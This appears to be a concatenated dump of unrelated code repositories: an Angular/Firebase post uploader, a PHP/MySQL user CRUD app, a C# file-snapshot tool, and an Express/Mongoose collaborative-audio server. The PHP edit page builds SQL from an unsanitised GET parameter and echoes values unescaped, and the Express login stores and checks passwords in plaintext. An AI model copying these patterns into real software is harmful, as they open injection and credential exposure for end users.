this.uploadPost(caption);
}
}
uploadVideoPost(caption: string){
let postID = this.firestore.genDocId()
this.storage.upload(
{
uploadName:"upload Video Post",
path: ["Posts",postID,"video"],
data: {
data: this.selectedImageFile
},
onComplete: (downloadUrl) => {
this.firestore.create(
{
path:["Posts", postID],
data: {
caption: caption,
creatorID: this.auth.getAuth().currentUser?.uid,
imageUrl: downloadUrl,
timestamp: FirebaseTSApp.getFirestoreTimestamp()
},
onComplete: (docID) => {
this.dialog.close();
}
}
)
}
}
)
}
uploadPost(caption: string){
this.firestore.create(
{
path:["Posts"],
data: {
caption: caption,
creatorID: this.auth.getAuth().currentUser?.uid,
timestamp: FirebaseTSApp.getFirestoreTimestamp()
},
onComplete: (docID) => {
this.dialog.close();
}
}
)
}
onPhotoSelected(photoSelector: HTMLInputElement){
this.selectedImageFile = photoSelector.files[0];
if (!this.selectedImageFile) return;
let fileReader = new FileReader();
fileReader.readAsDataURL(this.selectedImageFile);
fileReader.addEventListener("loadend",
ev => {
let readableString = fileReader.result?.toString();
let postPreviewImage = <HTMLImageElement>document.getElementById("post-preview-image");
postPreviewImage.src = readableString;
})
}
}
<file_sep>/src/app/app.module.ts
import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { FirebaseTSApp } from 'firebasets/firebasetsApp/firebaseTSApp'
import { environment } from 'src/environments/environment';
import { HomeComponent } from './pages/home/home.component';
import { MatButtonModule} from '@angular/material/button';
import { MatBottomSheetModule } from '@angular/material/bottom-sheet';
import { MatCardModule} from '@angular/material/card';
import { AuthenticatorComponent } from './tools/authenticator/authenticator.component';
import { EmailVerificationComponent } from './pages/email-verification/email-verification.component';
import { ProfileComponent } from './tools/profile/profile.component';
import { MatDialogModule} from '@angular/material/dialog'
import { MatIconModule } from '@angular/material/icon'
import { PostFeedComponent } from './pages/post-feed/post-feed.component';
import { CreatePostComponent } from './tools/create-post/create-post.component';
import { PostComponent } from './tools/post/post.component';
import { ReplyComponent } from './tools/reply/reply.component';
@NgModule({
declarations: [
AppComponent,
HomeComponent,
AuthenticatorComponent,
EmailVerificationComponent,
ProfileComponent,
PostFeedComponent,
CreatePostComponent,
PostComponent,
ReplyComponent
],
imports: [
BrowserModule,
AppRoutingModule,
BrowserAnimationsModule,
MatButtonModule,
MatBottomSheetModule,
MatCardModule,
MatDialogModule,
MatIconModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule {
constructor(){
FirebaseTSApp.init(environment.firebaseConfig)
}
}
<file_sep>/src/app/tools/post/post.component.ts
import { Component, Input, OnInit } from '@angular/core';
import { PostData } from 'src/app/pages/post-feed/post-feed.component';
import { FirebaseTSFirestore } from 'firebasets/firebasetsFirestore/firebaseTSFirestore';
import { MatDialog } from '@angular/material/dialog';
import { ReplyComponent } from '../reply/reply.component';
@Component({
selector: 'app-post',
templateUrl: './post.component.html',
styleUrls: ['./post.component.css']
})
export class PostComponent implements OnInit {
@Input() postData: PostData;
creatorName: string;
creatorDescription: string;
firestore = new FirebaseTSFirestore();
constructor(private dialog: MatDialog) { }
ngOnInit(): void {
this.getCreatorInfo();
}
onCommentClick(){
this.dialog.open(ReplyComponent,{data:this.postData.postID});
}
getCreatorInfo(){
this.firestore.getDocument(
{
path:["Users", this.postData.creatorID],
onComplete: result => {
let userDocument = result.data();
this.creatorName = userDocument.publicName;
this.creatorDescription = userDocument.description;
}
}
)
}
}
| d9cdd540bae1f00891eecd1e5fefaab86c617e7f | [
"TypeScript"
] | 11 | TypeScript | LukeNg3010/PSG-Project | 9fe083759584a73d218382d43100924e88ab8258 | 9eb740c7b14ec5b9a04e7a15958d3d8079486829 |
refs/heads/master | <file_sep>-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Anamakine: 127.0.0.1
-- Üretim Zamanı: 10 May 2020, 18:42:49
-- Sunucu sürümü: 10.4.11-MariaDB
-- PHP Sürümü: 7.4.4
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Veritabanı: `php-crud-db`
--
-- --------------------------------------------------------
--
-- Tablo için tablo yapısı `users`
--
CREATE TABLE `users` (
`id` int(11) NOT NULL,
`ad` varchar(45) NOT NULL,
`soyad` varchar(45) NOT NULL,
`mail` varchar(45) NOT NULL,
`yas` int(11) NOT NULL,
`zaman` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Tablo döküm verisi `users`
--
INSERT INTO `users` (`id`, `ad`, `soyad`, `mail`, `yas`, `zaman`) VALUES
(1, 'aa', 'bb', 'cc', 21, '2020-05-10 14:38:07'),
(2, 'Onur', 'Kantar', '<EMAIL>', 21, '2020-05-10 14:43:04'),
(13, 'asd', 'asd', 'asd', 123, '2020-05-10 16:17:09'),
(15, 'asd', 'asd', 'asd', 2, '2020-05-10 16:36:12');
--
-- Dökümü yapılmış tablolar için indeksler
--
--
-- Tablo için indeksler `users`
--
ALTER TABLE `users`
ADD PRIMARY KEY (`id`);
--
-- Dökümü yapılmış tablolar için AUTO_INCREMENT değeri
--
--
-- Tablo için AUTO_INCREMENT değeri `users`
--
ALTER TABLE `users`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><?php
$host ='localhost';
$dbName ='php-crud-db';
$username ='root';
$password ='';
try{
$db = new PDO("mysql:host=$host;dbname=$dbName","$username","$password");
}catch(PDOException $pd){
echo $pd->getMessage();
}
<file_sep><?php
$sorgu = $db->prepare('SELECT * FROM users');
$sorgu->execute();
$kullanicilar = $sorgu->fetchALL(PDO::FETCH_ASSOC);
?>
<div class="container">
<table class="table">
<thead class="thead-dark">
<tr>
<th scope="col">#</th>
<th scope="col">Ad</th>
<th scope="col">Soyad</th>
<th scope="col">Mail</th>
<th scope="col">Yaş</th>
<th scope="col">Zaman</th>
<th scope="col">Düzenle / Sil</th>
</tr>
</thead>
<tbody>
<?php foreach ($kullanicilar as $kullanici) : ?>
<tr>
<?php foreach ($kullanici as $bilgi) : ?>
<td><?php echo $bilgi ?></td>
<?php endforeach; ?>
<td>
<a type="button" class="btn btn-success" href='?sayfa=duzenle&id=<?=$kullanici['id']?>'>Düzenle</a>
<a onclick="return confirm('Silmek İstediğinize Emin Misiniz?')" type="button" class="btn btn-danger" href='?sayfa=sil&id=<?=$kullanici['id']?>'>Sil</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div><file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
</head>
<body>
<?php
require_once 'baglan.php';
if (!isset($_GET['sayfa'])) {
$_GET['sayfa'] = 'index';
}
switch ($_GET['sayfa']) {
case 'index':
require_once 'ekle.php';
require_once 'listele.php';
break;
case 'duzenle':
require_once 'duzenle.php';
break;
case 'sil':
require_once 'sil.php';
break;
}
?>
</body>
</html><file_sep><?php
$id = $_GET['id'];
$sorgu = $db->prepare("DELETE FROM users WHERE id = :id");
$sorgu->execute([
'id' => $id
]);
header('Location:' . $_SERVER['HTTP_REFERER']);
exit;
<file_sep><?php
$id = $_GET['id'];
$sorgu = $db->prepare("SELECT * FROM users WHERE id = $id");
$sorgu->execute();
$kullanici = $sorgu->fetch(PDO::FETCH_ASSOC);
if (isset($_POST['submit'])) {
$ad = isset($_POST['ad']) ? $_POST['ad'] : null;
$soyad = isset($_POST['soyad']) ? $_POST['soyad'] : null;
$mail = isset($_POST['mail']) ? $_POST['mail'] : null;
$yas = isset($_POST['yas']) ? $_POST['yas'] : null;
$sorgu = $db->prepare('UPDATE `users` SET ad=?, soyad=?, mail=?, yas=? WHERE id = ?');
$ekle = $sorgu->execute([$ad, $soyad, $mail, $yas, $id]);
if ($ekle) {
header('Location:index.php');
} else {
$hata = $sorgu->errorInfo();
echo 'MySQL Hatası : ' . $hata[2];
}
}
?>
<div class="container mb-5 mt-3">
<form action="" method="post">
<div class="form-group">
<label for="exampleInputEmail1">Ad</label>
<input required value="<?= $kullanici['ad'] ?>" required type="text" class="form-control" placeholder="Adınızı Giriniz" name="ad">
</div>
<div class="form-group">
<label for="exampleInputEmail1">Soyad</label>
<input required value="<?= $kullanici['soyad'] ?>" require type="text" class="form-control" placeholder="Soyadınızı Giriniz" name="soyad">
</div>
<div class="form-group">
<label for="exampleInputEmail1">Mail</label>
<input required value="<?= $kullanici['mail'] ?>" required type="email" class="form-control" placeholder="Mail Adresinizi Giriniz" name="mail">
</div>
<div class="form-group">
<label for="exampleInputEmail1">Yaş</label>
<input required value="<?= $kullanici['yas'] ?>" required type="number" class="form-control" placeholder="Yaşınızı Giriniz" name="yas">
</div>
<button type="submit" class="btn btn-primary" name="submit">Gönder</button>
</form>
</div> | 8eb06204d88d6e7eadf26533f9fa97ae61ce5c72 | [
"SQL",
"PHP"
] | 6 | SQL | onur-kantar/PHP-CRUD-Functions | 7f2b0abc4ea57fd2a5e694ba691414d603c69812 | 08328c04513583207c8024ff1e1fdaff0fd932d2 |
refs/heads/master | <repo_name>piksel/kai<file_sep>/kai/Hasher.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
class Hasher
{
internal static uint HashFile(string file)
{
using (var fs = File.OpenRead(file)) {
using (var ms = new MemoryStream()) {
fs.CopyTo(ms);
return xxHashSharp.xxHash.CalculateHash(ms.ToArray());
}
}
}
}
}
<file_sep>/kai/Actions/ActionScan.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class ActionScan : IKaiAction
{
public int Run()
{
try
{
var project = Project.Load(Environment.CurrentDirectory);
Console.Write("Scanning for new files... ");
var newFiles = project.Scan().Result;
Console.WriteLine($"{newFiles} new file(s) found.");
project.Save();
return ExitCodes.Success;
}
catch (Exception x)
{
Console.WriteLine("Error scanning: " + x.Message);
return ExitCodes.UnknownError;
}
}
public void SetOptions(Options options, object subOptions)
{
}
}
}
<file_sep>/kai/Actions/ActionMark.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class ActionMark : IKaiAction
{
public int Run()
{
try {
var project = Project.Load(Environment.CurrentDirectory);
var start = DateTime.Now;
Console.Write("Hashing current file states... ");
var moment = project.CreateMoment().Result;
Console.WriteLine($"Done!\nHashed {moment.Hashes.Count} file(s) in {(DateTime.Now - start).TotalSeconds:F2} second(s).");
Console.Write("Creating Moment snapshots... ");
var newSnapshots = project.CreateSnapshots(moment).Result;
Console.WriteLine($"Done!\nCreated {newSnapshots} new snapshot(s).");
Console.WriteLine($"Created new Moment #{moment.Index}.");
moment.Save();
project.Save();
return ExitCodes.Success;
}
catch (Exception x)
{
Console.WriteLine("Error marking: " + x.Message);
return ExitCodes.UnknownError;
}
}
public void SetOptions(Options options, object subOptions)
{
}
}
}
<file_sep>/kai/Actions/Actions.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public static class Actions
{
public static IKaiAction GetAction(string verb)
{
IKaiAction ka;
switch (verb)
{
case "init": ka = new ActionInit(); break;
case "mark": ka = new ActionMark(); break;
case "warp": ka = new ActionWarp(); break;
case "info": ka = new ActionInfo(); break;
case "scan": ka = new ActionScan(); break;
case "diff": ka = new ActionDiff(); break;
default: ka = new ActionUnkown(); break;
}
return ka;
}
}
public static class ExitCodes
{
public static readonly int Success = 0;
public static readonly int UnknownError = 10;
}
public interface IKaiAction
{
void SetOptions(Options options, object subOptions);
int Run();
}
internal class ActionUnkown : IKaiAction
{
public int Run()
{
Console.WriteLine("Unknown action.");
return ExitCodes.UnknownError;
}
public void SetOptions(Options options, object subOptions)
{
}
}
}
<file_sep>/kai/ProjectSettings.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using YamlDotNet.Serialization;
namespace Piksel.Kai
{
public class ProjectSettings
{
public string RemoteHost { get; set; }
public int MomentIndex { get; set; }
public void Save(string filename)
{
var ys = new Serializer(namingConvention: NamingConvention);
using (var sw = new StreamWriter(filename))
{
ys.Serialize(sw, this);
}
}
public static ProjectSettings Load(string filename)
{
var yd = new Deserializer(namingConvention: NamingConvention);
using (var sr = new StreamReader(filename))
{
return yd.Deserialize<ProjectSettings>(sr);
}
}
public static INamingConvention NamingConvention =
new YamlDotNet.Serialization.NamingConventions.CamelCaseNamingConvention();
public static ProjectSettings Default { get
{
return new ProjectSettings()
{
};
}
}
}
}
<file_sep>/kai/Options.cs
using CommandLine;
using CommandLine.Text;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class Options
{
public Options()
{
InitVerb = new InitSubOptions();
MarkVerb = new MarkSubOptions();
WarpVerb = new WarpSubOptions();
InfoVerb = new InfoSubOptions();
}
[Option('v', "verbose", HelpText = "Prints all messages to standard output.")]
public bool Verbose { get; set; }
[VerbOption("init", HelpText = "Initializes the current directory as a Kai project")]
public InitSubOptions InitVerb { get; set; }
[VerbOption("mark", HelpText = "Marks the current state of the project files as a new Moment")]
public MarkSubOptions MarkVerb { get; set; }
[VerbOption("warp", HelpText = "Warps the project to a specific Moment")]
public WarpSubOptions WarpVerb { get; set; }
[VerbOption("info", HelpText = "Shows information about the current Moment and project state")]
public InfoSubOptions InfoVerb { get; set; }
[VerbOption("scan", HelpText = "Scans for new files")]
public ScanSubOptions ScanVerb { get; set; }
[VerbOption("diff", HelpText = "Shows the differences between Moments")]
public DiffSubOptions DiffVerb { get; set; }
[HelpVerbOption]
public string GetUsage(string verb)
{
return HelpText.AutoBuild(this, verb);
}
[HelpOption]
public string GetUsage()
{
return HelpText.AutoBuild(this);
}
}
public class InitSubOptions
{
[Option(DefaultValue = ".")]
public string Path { get; set; }
}
public class MarkSubOptions
{
}
public class WarpSubOptions
{
}
public class InfoSubOptions
{
}
public class ScanSubOptions
{
}
public class DiffSubOptions
{
[ValueList(typeof(List<string>), MaximumElements = 2)]
public IList<string> Moments { get; set; }
}
}
<file_sep>/kai/Actions/ActionDiff.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class ActionDiff : IKaiAction
{
private Options _o;
private DiffSubOptions _so;
public int Run()
{
try {
if (_so.Moments.Count < 2) throw new ArgumentException();
var project = Project.Load(Environment.CurrentDirectory);
Console.WriteLine($"Differences between Moment #{_so.Moments[0]} and Moment #{_so.Moments[1]}:");
var momentA = project.GetMoment(int.Parse(_so.Moments[0]));
var momentB = project.GetMoment(int.Parse(_so.Moments[1]));
int changes = 0;
for(int i=0; i< momentA.Hashes.Count; i++)
{
if (momentA.Hashes[i] != momentB.Hashes[i])
{
Console.WriteLine($"{momentA.Hashes[i].ToString("x8")} -> {momentA.Hashes[i].ToString("x8")} {project.FileList[i]}");
changes++;
}
}
Console.WriteLine($"\n{changes} change(s) in total.");
return ExitCodes.Success;
}
catch (Exception x)
{
Console.WriteLine("Error showing differences: " + x.Message);
return ExitCodes.UnknownError;
}
}
public void SetOptions(Options options, object subOptions)
{
_o = options;
_so = subOptions as DiffSubOptions;
}
}
}
<file_sep>/kai/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
class Program
{
static bool _v;
static string verb;
static object subOptions;
static void Main(string[] args)
{
var options = new Options();
if (!CommandLine.Parser.Default.ParseArguments(args, options, (v, so) => {
verb = v; subOptions = so;
}))
{
Console.WriteLine("Unknown arguments.");
#if !DEBUG
Environment.Exit(CommandLine.Parser.DefaultExitCodeFail);
#endif
}
else
{
//Console.WriteLine(verb);
var action = Actions.GetAction(verb);
action.SetOptions(options, subOptions);
var exitCode = action.Run();
Environment.Exit(exitCode);
}
#if DEBUG
Console.ReadKey();
#endif
}
}
}
<file_sep>/kai/Project.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class Project
{
public string RootPath { get; set; }
public string FileListPath { get { return Path.Combine(ProjectPath, "filelist"); } }
public string ProjectSettingsPath { get { return Path.Combine(ProjectPath, "settings.yaml"); } }
public string MomentPath { get { return Path.Combine(ProjectPath, "moments"); } }
public string SnapshotsPath { get { return Path.Combine(ProjectPath, "snapshots"); } }
internal Moment GetMoment(int index)
{
return Moment.Load(this, index);
}
public Snapshots Snapshots { get; set; }
internal Task<Moment> CreateMoment()
{
return Task.Run<Moment>(() =>
{
var moment = new Moment(this, ++ProjectSettings.MomentIndex);
foreach (var file in FileList)
{
moment.Hashes.Add(Hasher.HashFile(file));
}
return moment;
});
}
internal Task<int> CreateSnapshots(Moment moment)
{
return Task.Run<int>(() =>
{
int newSnapshots = 0;
for(int i=0; i<moment.Hashes.Count; i++)
{
var fileSnapshots = Snapshots[i];
if(!fileSnapshots.Exists(moment.Hashes[i]))
{
CreateFileSnapshot(fileSnapshots, moment, i);
newSnapshots++;
}
}
return newSnapshots;
});
}
private void CreateFileSnapshot(SnapshotFile fileSnapshots, Moment moment, int index)
{
var snapshotFile = fileSnapshots.SnapshotPath(moment.Hashes[index]);
Directory.CreateDirectory(Path.GetDirectoryName(snapshotFile));
File.Copy(FileList[index], snapshotFile);
}
List<string> _fileList;
public List<string> FileList {
get
{
if(_fileList == null)
{
var flp = FileListPath;
if (File.Exists(flp))
{
_fileList = File.ReadAllLines(flp).ToList();
}
else
{
_fileList = new List<string>();
}
}
return _fileList;
}
}
public void Save()
{
File.WriteAllLines(FileListPath, FileList.ToArray());
ProjectSettings.Save(ProjectSettingsPath);
}
public ProjectSettings ProjectSettings { get; set; }
string _projectPath;
public string ProjectPath { get
{
if(string.IsNullOrEmpty(_projectPath))
_projectPath = Path.Combine(Path.GetFullPath(RootPath), ".kai");
return _projectPath;
}
}
public static Project Create(string path)
{
var p = new Project();
p.RootPath = path;
if (Directory.Exists(p.ProjectPath)) throw new Exception("Kai project already initialized!");
Directory.CreateDirectory(p.ProjectPath);
Directory.CreateDirectory(p.MomentPath);
p.ProjectSettings = ProjectSettings.Default;
return p;
}
internal Task<int> Scan()
{
return Task.Run<int>(() =>
{
int newFiles = 0;
foreach(var file in Directory.EnumerateFiles(RootPath, "*", SearchOption.AllDirectories))
{
var relativeFile = PathEx.GetRelativePath(RootPath, file);
if (relativeFile.StartsWith(".kai")) continue;
if (!FileList.Contains(relativeFile))
{
FileList.Add(relativeFile);
newFiles++;
}
}
return newFiles;
});
}
public static Project Load(string path)
{
var p = new Project();
p.RootPath = path;
p.ProjectSettings = ProjectSettings.Load(p.ProjectSettingsPath);
p.Snapshots = new Snapshots(p);
return p;
}
}
}
<file_sep>/kai/Actions/ActionInit.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class ActionInit : IKaiAction
{
private Options _o;
private InitSubOptions _so;
public int Run()
{
try
{
var path = Path.GetFullPath(_so.Path);
Console.WriteLine($"Initialzing new project in path \"{path}\"...");
Console.Write("Creating project... ");
var project = Project.Create(path);
Console.WriteLine("Done!");
Console.Write("Scanning directory... ");
var files = project.Scan().Result;
Console.WriteLine(files + " file(s) found.");
project.Save();
return ExitCodes.Success;
}
catch (Exception x)
{
Console.WriteLine("Error initializing: " + x.Message);
return ExitCodes.UnknownError;
}
}
public void SetOptions(Options options, object subOptions)
{
this._o = options;
this._so = subOptions as InitSubOptions;
}
}
}
<file_sep>/kai/Snapshots.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class Snapshots
{
public Project Project { get; }
public Snapshots(Project project)
{
this.Project = project;
}
public SnapshotFile this[int index]
{
get
{
return new SnapshotFile(this, index);
}
}
}
public class SnapshotFile
{
private int index;
private Snapshots snapshots;
public string FilePath {
get
{
return snapshots.Project.FileList[index];
}
}
string _identifier;
public string Identifier
{
get
{
if (string.IsNullOrEmpty(_identifier))
_identifier = index.ToString("x8");
return _identifier;
}
}
string _snapshotPath;
public string SnapshotRootPath
{
get
{
if (string.IsNullOrEmpty(_snapshotPath))
_snapshotPath = Path.Combine(snapshots.Project.SnapshotsPath, Identifier[7].ToString(), Identifier);
return _snapshotPath;
}
}
public string SnapshotPath(uint hash)
{
return Path.Combine(SnapshotRootPath, hash.ToString("x8"));
}
public bool Exists(uint hash) {
return File.Exists(SnapshotPath(hash));
}
public SnapshotFile(Snapshots snapshots, int index)
{
if (snapshots.Project.FileList.Count <= index)
throw new IndexOutOfRangeException("Invalid file index!");
this.snapshots = snapshots;
this.index = index;
}
}
}
<file_sep>/kai/Actions/ActionWarp.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public class ActionWarp : IKaiAction
{
public int Run()
{
throw new NotImplementedException();
}
public void SetOptions(Options options, object subOptions)
{
throw new NotImplementedException();
}
}
}
<file_sep>/kai/Moment.cs
using System;
using System.Collections.Generic;
using System.IO;
namespace Piksel.Kai
{
public class Moment
{
public int Index { get; }
public List<uint> Hashes { get; set; } = new List<uint>();
public Project Project { get; }
public void Save()
{
Directory.CreateDirectory(Project.MomentPath);
var filepath = Path.Combine(Project.MomentPath, Index + ".kai-moment");
using(var fs = File.OpenWrite(filepath))
{
using (var bw = new BinaryWriter(fs)) {
foreach (var hash in Hashes)
{
bw.Write(hash);
}
}
}
}
public static Moment Load(Project project, int index)
{
var moment = new Moment(project, index);
var filepath = Path.Combine(project.MomentPath, index + ".kai-moment");
using (var fs = File.OpenRead(filepath))
{
using (var br = new BinaryReader(fs))
{
for(int i=0; i < project.FileList.Count; i++)
{
try
{
moment.Hashes.Add(br.ReadUInt32());
}
catch (Exception x)
{
Console.WriteLine("Error loading moment: " + x.Message);
}
}
}
}
return moment;
}
public Moment(Project project, int index)
{
Index = index;
Project = project;
}
}
}<file_sep>/kai/PathEx.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Piksel.Kai
{
public static class PathEx
{
public static string GetRelativePath(string relativeTo, string fullPath)
{
if (relativeTo[relativeTo.Length - 1] != Path.DirectorySeparatorChar) relativeTo += Path.DirectorySeparatorChar;
return Uri.UnescapeDataString(
new Uri(relativeTo).MakeRelativeUri(new Uri(fullPath))
.ToString()
.Replace('/', Path.DirectorySeparatorChar)
);
}
}
}
| c1bd79e1d0bb1cdbe5a3cf786722109b2e6f5fb0 | [
"C#"
] | 14 | C# | piksel/kai | 77302610aacb40eb49408822e3e97ff0a58094ca | ef5b58fe272ca489c8ee168d8bc034dc8f4f2406 |
refs/heads/master | <repo_name>Bokeefe/EquisiteWarps-Beta<file_sep>/dist/waveform-playlist/public/js/CorpseSchema.js
/* jshint esversion: 6 */
module.exports = (mongoose) => {
var CorpseSchema = new mongoose.Schema({// creates a new mongoose schema called CorpseSchema
warpName: String,
created: Object,
numCont:Number,
trackFree:Boolean,
timeSub:Number,
bpm:Number,
admin:String,
users:Array,
message:String,
warp:Array
});
var Corpse = mongoose.model('Corpse', CorpseSchema); // create a new model called 'Corpse' based on 'CorpseSchema'
return Corpse;
};
<file_sep>/src/annotation/input/aeneas.js
/*
{
"begin": "5.759",
"end": "9.155",
"id": "002",
"language": "en",
"lines": [
"I just wanted to hold"
]
},
*/
import Annotation from '../Annotation';
export default function (aeneas) {
const annotation = new Annotation();
annotation.id = aeneas.id;
annotation.start = Number(aeneas.begin);
annotation.end = Number(aeneas.end);
annotation.lines = aeneas.lines;
annotation.lang = aeneas.language;
return annotation;
}
<file_sep>/dist/waveform-playlist/localhost.js
"use strict";
/* jshint esversion:6 */
require('use-strict');
var fs = require("fs");
var path = require('path');
var formidable = require('formidable');
var express = require('express');
var cookieParser = require('cookie-parser');
var session = require('express-session');
var mongoose = require('mongoose');
const MongoStore = require('connect-mongo')(session);
var bodyParser = require('body-parser');
var formidable = require('formidable');
var app = express();
var User = require('./public/js/UserSchema.js')(mongoose);
var Corpse = require('./public/js/CorpseSchema.js')(mongoose);
var http = require("http").Server(app);
var Creds = require('./public/media/json/creds.json');
const nodemailer = require('nodemailer');
var uristring = process.env.MONGODB_URI ||'mongodb://localhost';
//var uristring = process.env.MONGODB_URI || Creds.real_URI;
mongoose.Promise = global.Promise;
mongoose.connect(uristring, function (err, res) {
if (err) {
console.log ('ERROR connecting to: ' + uristring + '. ' + err);
} else {
console.log ('Succeeded connected to: ' + uristring);
}
});
app.use(bodyParser.urlencoded({extended: false}));
app.use(bodyParser.json());
app.use(session({
secret: Creds.myCookie,
store: new MongoStore({ mongooseConnection: mongoose.connection }),
resave: true,
saveUninitialized: true,
cookie: { secure: !true }
}));
app.use(cookieParser(Creds.myCookie));
////login stuff
app.get('/', (req, res) => {
res.sendFile(__dirname + '/public/index.html');
});
app.post('/allwarps',(req,res)=>{
var warps = [];
Corpse.find( {}, (err, data)=>{
for (var i = 0; i < data.length; i++) {
warps.push(data[i].warpName);
}
res.send(warps);
});
});
app.get("/getSession",(req,res)=> {
session=req.session;
res.send(session);
});
app.post('/login', (req, res) => {//login page
if (!req.body.email || !req.body.password) {//if no name or password provided send error
// res.status(401);
console.info('Invalid Login', req.body.email);
res.send({status: 'error', message: 'user/pass not entered'});
return;
}
User.find({email: req.body.email}, (err, user) => {//search for provided email and password in user database
if (user.length === 0) {
// res.status(401);
res.send({status: 'invalid1', message: 'not seeing that user in here'});
} else if (user[0].password !== <PASSWORD>) {
// res.status(401);
res.send({status: 'invalid2', message: 'wrong password'});
} else {//if user is found set session name
req.session.moniker = user[0].name;
req.session.email = user[0].email;
//res.send({status:"success"});
Corpse.find({
'users': req.body.email
}, function(err, docs){
var arr = [];
for (var i = 0; i <= docs.length-1; i++) {
arr.push(docs[i].warpName);
}
res.send({status:"success", data: arr});
});
}
});
});
app.post('/register', (req, res) => {//api to register a new user
// find this email in the database and see if it already exists
User.find({email: req.body.email}, (err, data) => {
console.log(data);
if(data == []){
console.log("true");
res.send({status: 'Error', message: 'Something not right, either that user is already registered or you didnt fill out all the fields'}); // otherwise the user already exists
} else {
console.log("false ");
var newUser = new User({
name: req.body.name,
email: req.body.email,
password: <PASSWORD>
});
newUser.save((err) => { // save the newUser object to the database
if (err) {
res.status(500);
console.error(err);
res.send({status: 'Error', message: 'unable to register user:' + err});
}
res.send({status: 'success', message: 'user added successfully'});
});
}
// else if (err) { // send back an error if there's a problem
// res.status(500);
// console.error(err);
// res.send({status: 'Error', message: 'server error: ' + err});
// }
// if(data === false){
// }
// else {
// }
});
});
app.post('/newWarp', (req, res) => {//api to register a new user
// find this email in the database and see if it already exists
Corpse.find({warpName: req.body.warpName}, (err, data) => {
if (data.length === 0) { // if the warp doesn't exist
var newCorpse = new Corpse({
warpName: req.body.warpName,
created:{stamp :new Date().getTime(), read: Date().valueOf()},
numCont: req.body.numCont,
trackFree: false,
timeSub:0,
bpm: req.body.bpm,
admin: session.email,
message:"",
users:[ session.email ],
warp:[]
});
newCorpse.save((err) => { // save the newCorpse object to the database
if (err) {
res.status(500);
console.error(err);
res.send({status: 'Error', message: 'unable to create warp:' + err});
}
req.session.warpName= req.body.warpName;
req.session.numCont= req.body.numCont;
req.session.trackFree= false;
req.session.timeSub= 0;
req.session.bpm= req.body.bpm;
req.session.admin= session.email;
req.session.users= [ session.email ];
req.session.warp= [];
res.send({status: 'success', message: 'warp created successfully', data: res.session});
});
} else if (err) { // send back an error if there's a problem
res.status(500);
console.error(err);
res.send({status: 'Error', message: 'server error: ' + err});
} else {
res.send({status: 'Error', message: 'user already exists'}); // otherwise the user already exists
}
});
});
app.post('/warpPick', (req, res) => {
//console.log(req.body.warpPick);
var warpPick = req.body.warpPick;
Corpse.find({warpName: warpPick}, (err, data) => {
req.session.warpName = data[0].warpName;
req.session.numCont = data[0].numCont;
req.session.trackFree = data[0].trackFree;
req.session.timeSub = data[0].timeSub;
req.session.bpm = data[0].bpm;
req.session.admin = data[0].admin;
req.session.users = data[0].users;
req.session.warp = data[0].warp;
res.send({status:"success",data});
});
});
app.post('/logout', (req, res) => {//logout api
req.session.destroy();
res.send({status: 'logout', message: 'succesfully logged out'});
});
app.post('/update', (req, res) => {
var updater = JSON.parse(req.body.updater);
req.session.warp = updater;
Corpse.find({warpName: req.session.warpName}, (err, data) => {
var incoming = JSON.parse(req.body.updater);
//console.log(incoming[0]);
var newTrack = data[0].warp.push(incoming[0]);
req.session.warp = data[0].warp;
var conditions = { warpName: req.session.warpName },
update = { warp: data[0].warp};
//console.log("update");
Corpse.update(conditions, update, function (){
res.send(updater);
});
});
});
app.post('/delete', (req, res) => {
